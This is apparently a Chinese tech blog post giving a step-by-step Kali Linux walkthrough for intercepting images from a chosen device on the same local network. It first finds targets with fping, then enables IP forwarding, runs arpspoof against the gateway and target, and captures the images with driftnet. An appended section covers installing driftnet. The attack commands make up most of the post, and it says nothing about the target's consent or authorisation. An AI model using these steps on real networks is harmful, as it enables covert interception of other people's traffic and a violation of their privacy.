kali获取同局域网设备的图片信息

本文介绍如何在局域网环境下通过Kali Linux的arpspoof与driftnet工具实现对指定设备上图片的拦截与获取。具体步骤包括确认攻击双方处于同一局域网、设置流量转发、实施ARP欺骗以及利用driftnet捕获图片。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

工作需求中,要进行同局域网中指定设备上的图片获取。在kali中,已经集成好了arpspoof和driftnet,用这两者完成需求。过程步骤与网上其他博客想类似,在这里仅记录归纳,如下:
1.确保攻击者与被攻击者均在同一局域网段内,这是前提:
使用命令:

ifconfig

查看当前ip所属网段,并使用:

route -n

查看当前网关。

接下来:

fping -ags 192.168.1.0/24

查看同局域网的ip,进行目标的选取。

2.使用命令进行流量转发:

echo 1 >/proc/sys/net/ipv4/ip_forward

3.进行arp攻击:

arpspoof -i wlan0 -t 网关 目标ip

4.进行driftnet进行图片的获取:

driftnet -i wlan0

目标进行网页的刷新即可获取图片。

### 安装和配置 Driftnet 工具 Driftnet 是一款网络嗅探工具,能够捕获并显示通过网络传输的图像和其他多媒体文件。由于其强大的功能,通常被用于网络安全研究和渗透测试。 #### 方法一:通过 APT 包管理器安装 Kali Linux 默认集成了大量的安全工具库,因此可以通过系统的包管理器直接安装 Driftnet: ```bash sudo apt update && sudo apt upgrade -y sudo apt install driftnet -y ``` 以上命令会更新软件源列表并升级现有软件包[^1],随后安装 `driftnet` 工具。 --- #### 方法二:手动编译安装 如果默认仓库中未提供最新版本或者需要特定的功能增强,则可以考虑从源码编译安装: 1. **获取源代码** 使用 Git 或者直接下载压缩包的方式获取最新的 Driftnet 源代码: ```bash git clone https://github.com/martinhale/driftnet.git cd driftnet ``` 2. **安装依赖项** 编译前需确保已安装必要的开发环境和库文件: ```bash sudo apt-get install build-essential libpcap-dev libjpeg-dev -y ``` 3. **编译与安装** 执行以下命令完成编译过程: ```bash make sudo make install ``` 完成后即可运行 `driftnet` 命令验证安装情况[^4]。 --- #### 配置与使用说明 为了正常工作,Driftnet 需要监听指定接口上的流量数据流。以下是基本操作方法: ```bash sudo driftnet -i eth0 ``` 其中 `-i` 参数指定了目标网络接口名称(如 `eth0`, `wlan0`)。注意启动时必须具备超级用户权限以便访问底层网络协议栈[^3]。 更多高级选项可通过帮助文档查看: ```bash driftnet --help ``` --- ### 注意事项 - 确保当前环境中已经启用了混杂模式(Promiscuous Mode),这样设备才能接收所有经过的数据帧而不仅仅是发往本机的内容。 - 运行过程中可能会弹出警告提示某些媒体类型无法解析;这是正常的因为并非所有的编码都能完全兼容处理。 - 如果遇到图形界面不响应的情况,请确认 X Window Server 是否正在运行以及相关依赖是否齐全[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值